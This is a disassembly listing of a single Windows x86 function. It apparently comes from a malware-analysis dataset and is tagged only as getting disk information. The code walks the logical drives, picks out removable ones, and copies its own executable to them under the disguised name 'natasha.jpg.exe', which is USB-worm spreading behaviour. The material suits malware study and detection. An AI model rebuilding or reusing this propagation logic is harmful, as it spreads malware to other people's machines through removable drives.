Function at 0x4040a0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ba18
mov eax, dword fs:[0]
push eax
sub esp, 0x2b8
mov eax, dword [0x439040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0xe8]
mov dword [ebp - 0x25c], 0
push eax
push 0x68
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
jne 0x40411e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x435318
call fcn.004010f0
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040f40a
mov esp, ebp
pop ebp
ret
lea esi, [ebp - 0xe8]
cmp word [esi], 0
mov dword [ebp - 0x260], esi
je 0x404102
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
jne 0x404766
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x20c], 0
push str.natasha.jpg.exe
lea ecx, [ebp - 0x21c]
mov dword [ebp - 0x208], 0
movups xmmword [ebp - 0x21c], xmm0
call fcn.00406150
push esi
lea ecx, [ebp - 0x24c]
mov dword [ebp - 4], 0
call fcn.00404bb0
push esi
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 1
call fcn.00404bb0
lea edx, [ebp - 0x27c]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x234]
call fcn.00404790
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x268]
cmp ecx, 7
jbe 0x4041ec
mov edx, dword [ebp - 0x27c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4041e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40476e
push ecx
push edx
call fcn.0040f69e
add esp, 8
mov ecx, dword [ebp - 0x224]
xor eax, eax
mov edx, dword [ebp - 0x20c]
mov word [ebp - 0x27c], ax
mov eax, 0x7fffffff
sub eax, ecx
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x268], 7
mov dword [ebp - 0x254], ecx
cmp eax, edx
jb 0x404773
cmp dword [ebp - 0x220], 0xf
lea eax, [ebp - 0x234]
lea esi, [ebp - 0x21c]
mov dword [ebp - 0x1f4], 0
cmova eax, dword [ebp - 0x234]
mov edi, 0xf
cmp dword [ebp - 0x208], 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x280], eax
mov eax, dword [ebp - 0x21c]
cmova esi, eax
add edx, ecx
mov dword [ebp - 0x284], esi
mov dword [ebp - 0x264], eax
lea esi, [ebp - 0x204]
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 0x258], edx
movups xmmword [ebp - 0x204], xmm0
cmp edx, edi
jbe 0x404328
mov edi, edx
or edi, 0xf
cmp edi, 0x7fffffff
jbe 0x4042e1
mov ecx, 0x80000000
mov edi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.0040f41d
add esp, 4
test eax, eax
je 0x404787
mov ecx, dword [ebp - 0x254]
lea esi, [eax + 0x23]
mov edx, dword [ebp - 0x258]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x404322
cmp edi, 0x16
mov eax, 0x16
cmovb edi, eax
lea eax, [edi + 1]
cmp eax, 0x1000
jb 0x404303
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x404778
jmp 0x4042b9
test eax, eax
je 0x404320
push eax
call fcn.0040f41d
mov ecx, dword [ebp - 0x254]
add esp, 4
mov edx, dword [ebp - 0x258]
mov esi, eax
jmp 0x404322
xor esi, esi
mov dword [ebp - 0x204], esi
push ecx
push dword [ebp - 0x280]
mov dword [ebp - 0x1f4], edx
push esi
mov dword [ebp - 0x1f0], edi
call fcn.00410a40
push dword [ebp - 0x20c]
mov eax, dword [ebp - 0x254]
push dword [ebp - 0x284]
add eax, esi
push eax
call fcn.00410a40
mov eax, dword [ebp - 0x258]
mov edi, dword [ebp - 0x25c]
or edi, 2
mov dword [ebp - 0x25c], edi
mov byte [esi + eax], 0
mov byte [ebp - 0x288], 0
lea edx, [ebp - 0x204]
push dword [ebp - 0x288]
lea ecx, [ebp - 0x2a8]
mov byte [ebp - 4], 5
call fcn.00406fb0
add esp, 0x1c
lea ecx, [ebp - 0x2a8]
mov byte [ebp - 4], 6
call fcn.00403470
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x294]
mov byte [ebp - 0x24d], al
cmp ecx, 7
jbe 0x4043f8
mov edx, dword [ebp - 0x2a8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4043e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40477d
push ecx
push edx
call fcn.0040f69e
mov al, byte [ebp - 0x24d]
add esp, 8
test al, al
jne 0x4045e3
mov byte [ebp - 0x28c], al
lea edx, [ebp - 0x204]
push dword [ebp - 0x28c]
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 7
call fcn.00406fb0
add esp, 4
push 0x104
lea eax, [ebp - 0x1ec]
mov byte [ebp - 4], 8
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push eax
lea eax, [ebp - 0x1ec]
mov dword [ebp - 0x26c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x268], 0
push eax
lea ecx, [ebp - 0x27c]
movups xmmword [ebp - 0x27c], xmm0
call fcn.00406150
or edi, 0x40
mov dword [ebp - 0x25c], edi
mov byte [ebp - 0x290], 0
lea edx, [ebp - 0x27c]
push dword [ebp - 0x290]
lea ecx, [ebp - 0x2a8]
mov byte [ebp - 4], 9
call fcn.00406fb0
add esp, 4
push ecx
lea edx, [ebp - 0x2c4]
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2a8]
call fcn.00403430
mov byte [ebp - 4], 9
add esp, 4
mov ecx, dword [ebp - 0x294]
cmp ecx, 7
jbe 0x4044f8
mov edx, dword [ebp - 0x2a8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4044ee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404782
push ecx
push edx
call fcn.0040f69e
add esp, 8
xor eax, eax
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x268]
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 7
mov word [ebp - 0x2a8], ax
cmp ecx, 0xf
jbe 0x404553
mov edx, dword [ebp - 0x27c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404549
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404782
push ecx
push edx
call fcn.0040f69e
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x2b0]
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x268], 0xf
mov byte [ebp - 0x27c], 0
cmp ecx, 7
jbe 0x4045b2
mov edx, dword [ebp - 0x2c4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4045a8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404782
push ecx
push edx
call fcn.0040f69e
add esp, 8
push 0x3e
call fcn.0040f6ac
add esp, 4
lea eax, [ebp - 0x204]
cmp dword [ebp - 0x1f0], 0xf
cmova eax, dword [ebp - 0x204]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 4], 5
mov esi, dword [ebp - 0x264]
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x1f0]
cmp ecx, 0xf
jbe 0x404627
mov edx, dword [ebp - 0x204]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40461d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404787
push ecx
push edx
call fcn.0040f69e
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x220]
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f0], 0xf
mov byte [ebp - 0x204], 0
cmp ecx, 0xf
jbe 0x404680
mov edx, dword [ebp - 0x234]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404676
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404787
push ecx
push edx
call fcn.0040f69e
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x238]
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0xf
mov byte [ebp - 0x234], 0
cmp ecx, 7
jbe 0x4046df
mov edx, dword [ebp - 0x24c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4046d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404787
push ecx
push edx
call fcn.0040f69e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x208]
cmp eax, 0xf
jbe 0x404760
lea ecx, [eax + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x404756
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404787
jmp 0x404756
push ecx
push esi
call fcn.0040f69e
add esp, 8
mov esi, dword [ebp - 0x260]
add esi, 8
jmp 0x404124
call fcn.00416877
call fcn.004012c0
call fcn.00401220
call fcn.00416877
call fcn.00416877
call fcn.00416877
int3